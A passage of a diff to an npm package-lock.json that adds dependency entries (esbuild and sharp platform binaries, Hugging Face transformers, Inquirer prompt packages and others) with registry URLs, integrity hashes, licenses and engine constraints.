"https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", + "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", + "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", + "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", + "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@fal-ai/client": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@fal-ai/client/-/client-1.10.1.tgz", + "integrity": "sha512-c3AVeH31OioiI2J1BfW8Cryi1DhUYldnY3X35nv6xLMq3fU2NQOo+eYaR5mL2O8MoHHh+HzXdQuIyanIyeq+ug==", + "license": "MIT", + "optional": true, + "dependencies": { + "@msgpack/msgpack": "^3.0.0-beta2", + "eventsource-parser": "^1.1.2", + "robot3": "^0.4.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@googleapis/sheets": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/@googleapis/sheets/-/sheets-14.0.0.tgz", + "integrity": "sha512-fANEl4RQohsPYUWhcLSYyUyE8A8bRfvw/bp8h0t8VDQqTgdQ3itZBkty4nddtdqCAvNDpA+KM66OejVKDd6aFg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "googleapis-common": "^8.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@graphql-typed-document-node/core": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@graphql-typed-document-node/core/-/core-3.2.0.tgz", + "integrity": "sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==", + "license": "MIT", + "optional": true, + "peerDependencies": { + "graphql": "^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/@hono/node-server": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.1.1.tgz", + "integrity": "sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg==", + "license": "MIT", + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "hono": "^4" + } + }, + "node_modules/@huggingface/jinja": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/@huggingface/jinja/-/jinja-0.5.10.tgz", + "integrity": "sha512-SgS1D1bglQ94ceD4ZCL6eayUDy9uV1xuyk61OjgSxU5GJh7upqZCKII0JoTYMc6wWsg3JUgaPRX0ElQzXPk3Cw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@huggingface/tokenizers": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@huggingface/tokenizers/-/tokenizers-0.2.0.tgz", + "integrity": "sha512-LidMHe1FpcSYH4vcSjXooda34pC0M8m1gmDOv7SQi6Iv+ib1zX7J3sHBCC9/3FPCkn2k1b55FneVqMRxrr99pg==", + "license": "Apache-2.0", + "optional": true + }, + "node_modules/@huggingface/transformers": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/@huggingface/transformers/-/transformers-4.3.0.tgz", + "integrity": "sha512-fL1A/WUZwouPrOlYxU5dzIwD2T5J781JiB2jDR8bFe5DwCj0Gfudq+NEXCMno49kQgajHA7xQkrRLJlqG1veEA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@huggingface/jinja": "^0.5.10", + "@huggingface/tokenizers": "^0.2.0", + "onnxruntime-node": "1.30.0", + "onnxruntime-web": "1.31.0-dev.20260914-8d85527a0", + "sharp": "^0.35.4" + } + }, + "node_modules/@ibm-cloud/watsonx-ai": { + "version": "1.7.16", + "resolved": "https://registry.npmjs.org/@ibm-cloud/watsonx-ai/-/watsonx-ai-1.7.16.tgz", + "integrity": "sha512-ks7EI3TlrnZ6uKEIGemLHiBqOaqrA2dALNhC9Potl5CeajGNhF0n6eY30cNRvboDbuMRibw1iAtn7vnX4dzlwg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "form-data": "^4.0.4", + "ibm-cloud-sdk-core": "^5.4.20" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@img/colour": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", + "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.35.5.tgz", + "integrity": "sha512-QRUlFQ0WxvdWyqqG/WtI3iupfD5rBzmCHXSdPsY91sAtVtTo7Q4cb6zOccZ3gqEqkr0f1As1ehLqmEpDsRf+lg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.3.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.35.5.tgz", + "integrity": "sha512-+BR255RhDlpygUpOc/Jdt1nT6DQ3XG/ERo5wbcdOf5Q320dKtPCKPLR1LJs9VGXRaMa8l1uUa0tkCNOXiAxZUw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.3.4" + } + }, + "node_modules/@img/sharp-freebsd-wasm32": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-freebsd-wasm32/-/sharp-freebsd-wasm32-0.35.5.tgz", + "integrity": "sha512-Y/z91nEZ4uIBX5X3nfTovjU9lHNKFYbL2lpHCLVNmXQK03VIZvXBBt0KxbPGp2SdGSF+2mQU4e+hQaWOt86iAw==", + "license": "Apache-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "dependencies": { + "@img/sharp-wasm32": "0.35.5" + }, + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.3.4.tgz", + "integrity": "sha512-5R89nBYiRdUlSWJxPhO+GVtaXzXSxKnRu/xqMn3KTA3L9EB9Oy/P+Nn2f2vlhPuUdy/Zusb2DarbyTpGCfEDuw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.3.4.tgz", + "integrity": "sha512-iR2OKH80yi0U+dUplyh3/xdpFvps6YkCwsXenIJxqxR1v9o+xtKTGbS9H7cps+2Vxjc8B1j96p75NmTGjIhtpQ==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.3.4.tgz", + "integrity": "sha512-LmRtTsOHuvM2+wlO2Db37dx5MiZhB0FvSunciw48YjdOkZz9KAiRbm8ujeMOA1INqmei5NapFxYEK1D1ZSidmw==", + "cpu": [ + "arm" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.3.4.tgz", + "integrity": "sha512-Y3dgX/6lE2QhQb+Gxy0WZxfg9MEm/JBjamZpS2IklP7xIQoKN4hzAm7KcMVGtaVDt3neE9OKBC7vAfonA/Lr1A==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-ppc64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.3.4.tgz", + "integrity": "sha512-Le6boB8Tai0Nis+gIxIpKx68UDVVIqdR8Tin5Yf1z2LJJQLDJvCDRqRu+jC2qCoD+eIomonmOwB4smBRxfVpYQ==", + "cpu": [ + "ppc64" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-riscv64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.3.4.tgz", + "integrity": "sha512-aHkkIEHPRdQEegJN20MLmGtxYD9R2wQr3Cwpddnu5+YKMt6Uzax7S9h5gpZTo8wyrGuZSlfQ63OevL5mTyOC7Q==", + "cpu": [ + "riscv64" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.3.4.tgz", + "integrity": "sha512-ra/mB6MikESDUO7Yg+Mi95bFBb9GsObURuhnOv3OqknjGe9sZrG8tCe9q0xSIGrtLgvgw0gKnFWcK4blSgQOuQ==", + "cpu": [ + "s390x" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.3.4.tgz", + "integrity": "sha512-GJ//SSXbnwSDes02umB3nDJLFcQzw8a18V8fyhqr6tV515tOEMdImjjxj1AoafMRz56F3PHgftnj1QEKSU1zkw==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.3.4.tgz", + "integrity": "sha512-hvulFwtjUcagsis6BBxHwGFwWoNZjgYmULGVrZcyfNbjA8hKILbRxGg15/7w5HDyXHXUos/j6baAWqnCyQ2DWA==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.3.4.tgz", + "integrity": "sha512-6zXKeE/p39I1AmA3cJG35eyBGNqNddLnUXjhwBnsGjFPWqf5VKkDBEqaEkPDoTEtkxwi2vv8Tcr2mDyP4So7Fg==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.35.5.tgz", + "integrity": "sha512-LEaXK2WdXVK5ykcw0buWyPMsmLLL2vpHLD6yrNSW+JGEL3BZPA4tpKN6iaMc4AxTTAoaX/sU1rOL51lcIz48ZQ==", + "cpu": [ + "arm" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.3.4" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.35.5.tgz", + "integrity": "sha512-LYVx5JTsOM2CBzmxreh+nl64/3H6Xb09iSLknqH47z2T2DFFxDeFLP5y4dJwe6H7uGQlHPyEEtIqyo3DYsRwdQ==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.3.4" + } + }, + "node_modules/@img/sharp-linux-ppc64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.35.5.tgz", + "integrity": "sha512-QVxAAq8evVRI9ia2vqgwrmWucn5Dfv+JdWzj75pD8omHLPSP7f8p20O8jxzjCcuCEQEOtYOZUmX1hkiZ0kdevA==", + "cpu": [ + "ppc64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-ppc64": "1.3.4" + } + }, + "node_modules/@img/sharp-linux-riscv64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.35.5.tgz", + "integrity": "sha512-LtdreXguaavKODPIfzJ4kffx7UNt1omwtK0rch4EBbbSTXPnxWmYSayXdLJw0fJzQ97kHt1gL/yh4tvU+nCyRQ==", + "cpu": [ + "riscv64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-riscv64": "1.3.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.35.5.tgz", + "integrity": "sha512-UZasTOFiYzotTsGOCu42BfUzP6Tu6Do/947iRm1RsLKvlllxwGcn4RN27LibGWceix4Y+Pmw3jsnTcCQIgWjqA==", + "cpu": [ + "s390x" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.3.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.35.5.tgz", + "integrity": "sha512-SxFtLTeJInhAA9Q836kux2vZNeOBQEx658qvbboZScr0wIARym3IcGmW7KpVD5sbVg0Ojy+udFQdayYIZyoNog==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.3.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.35.5.tgz", + "integrity": "sha512-9HbMclmI1zlNkFRs3z9/eBtDjfD0sGlrX1z6b1qwmiFY5ElDLh4BC0LPBdVp7z1DXFiKlIcznf+ZlsuZzLxQqg==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.3.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.35.5.tgz", + "integrity": "sha512-4KOphqB035HrVdqLZfCgMzzERrQkkzOwRhl4OAkRO1YCldbaFjySXMaK534Mo0V+LndnlJk+sbUyLeU0ULyD1A==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.3.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.35.5.tgz", + "integrity": "sha512-Ptsga1su4tQx+LLF1ECS9U6nz5kmrXKo6XVbtR48Ke3ZRxxgaWBu7IDtEe1quo8hiupwm6WFqxVlXaSf7IINGQ==", + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.11.3" + }, + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-webcontainers-wasm32": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-webcontainers-wasm32/-/sharp-webcontainers-wasm32-0.35.5.tgz", + "integrity": "sha512-hfhF/FmoQyTUkA0bIKFOtw536BQSeBMe6BF6QyWlrPxT754+TFLaZ7sKKTfvvM0yJgKgaYTwnFCIZ/GuDw5SUA==", + "cpu": [ + "wasm32" + ], + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@img/sharp-wasm32": "0.35.5" + }, + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-arm64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.35.5.tgz", + "integrity": "sha512-X4t7g+7ZA5DKblCBEXGjUqqemj4vczING/5viFwAL8h4N3qYeyjwdCvRLHi4EdOUI+2Z7UFlp1VM+p/AuEtm6Q==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.35.5.tgz", + "integrity": "sha512-5Zm82LoBc43nhwNybZlG7Y1KO//Zhsn306fQl29ZOuStHLGTo3BWL83q3cznX0poxSAMuYL1On/BHBxkBeKr6A==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.35.5.tgz", + "integrity": "sha512-x76eH0vEiHlcMQu8Y8IenntaACtddpT6W0wmXtWrnKcnKI7ME5DdgqhAD6SEWOEl1v2zDvkZDhFA9KnURwpfqg==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@inquirer/ansi": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-2.0.8.tgz", + "integrity": "sha512-WpQM+Ti6Z40EFwwt+uL2p4UabT+W179zHp6HhLVOzfbwnVn05IPO/eXIZXGNqcT1jbQ15SujNLzQ39k4QPPxBQ==", + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + } + }, + "node_modules/@inquirer/checkbox": { + "version": "5.2.5", + "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-5.2.5.tgz", + "integrity": "sha512-bRt8J8m+Fot9CXv+zNQGXUq2ET0MggR1fPz7v6edN6MFYmsbfGnMmkmWZJEegMKqrAC8ej/o1sqisHZXZJMAfQ==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^2.0.8", + "@inquirer/core": "^12.0.3", + "@inquirer/figures": "^2.0.9", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/confirm": { + "version": "6.3.2", + "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-6.3.2.tgz", + "integrity": "sha512-Xvr/0HggjddPtGppuqVmxhTw+Hr8PvsZ/k0HmOEaAqQEt80OITNkFWnsdNmyT0/eM4Ab+iJLx2R8rctlEyfSVg==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/core": { + "version": "12.0.3", + "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-12.0.3.tgz", + "integrity": "sha512-wsSy0sznmXwkty+2PzZwx00Cazc/E0r0B7mAzdGROz2Ct+DFZXaK7WDjGZvgjRldxH5ZhFVfF2lgkYrqgOw2KA==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^2.0.8", + "@inquirer/figures": "^2.0.9", + "@inquirer/type": "4.1.1", + "cli-width": "^4.1.0", + "fast-wrap-ansi": "^0.2.0", + "mute-stream": "^3.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/editor": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-5.3.3.tgz", + "integrity": "sha512-YsKkS2q63IiLtaDK/9nqzdComN97SDQrmKiyNggN+ceP4ty+Z6VwyTz3FpjeUWeW1Efss2xHFKCC9sx7hnrsxg==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/external-editor": "^3.0.5", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/expand": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-5.1.5.tgz", + "integrity": "sha512-uHuXLmXW+TtIfT/9vSBotypAkqn1n34Ul+CLGPos/xANyO4Ff5xZzkYhbKR4NEcfVK4a9mHQOpwVZzluSHFRGw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/external-editor": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-3.0.5.tgz", + "integrity": "sha512-f3QQJRIX5ZEneBHNUIuPjmbdzHnmRFJA8r2dkcb8q+OM5Uv5KtnuAttQumnrjcBVBM3mcTX1CkmtAkU58VRZxg==", + "license": "MIT", + "dependencies": { + "chardet": "^2.1.1", + "iconv-lite": "^0.7.2" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/figures": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-2.0.9.tgz", + "integrity": "sha512-EAWgUTGQ/Umgga51dE3B2PUHbufuXarDfg86uVgoSgNHNNQnyFKcOrQLWVqYMghuSyHh8+2HUH0Js9cTC1WAdg==", + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + } + }, + "node_modules/@inquirer/input": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-5.1.6.tgz", + "integrity": "sha512-HtcJhB2QFVXbLuJ5S3syhNbTUVxYvwqV4VRBDkQceBloC9bmTViUoRFP5PbSaDZb3HzfPmpuU/gG4ybVBz4FHA==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/number": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-4.2.3.tgz", + "integrity": "sha512-6Yuwh1NGSbu1Lo4N1EWjXs1jKRntLg/ZCwhmeorEHde90v1XxAozdbd4Iu30eOQLW+6h1hp2O9ujNfLSbTPJnA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/password": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-5.2.2.tgz", + "integrity": "sha512-W9zYdyzogK+6110mqwaSJWCBu2yA5Q/OfnGSjjZB1bNpHlmUozXxTl0+QOZBNeVd6Qo81/qT75gW05gLAtITxw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@inquirer/ansi": "^2.0.8", + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/prompts": { + "version": "8.7.2", + "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-8.7.2.tgz", + "integrity": 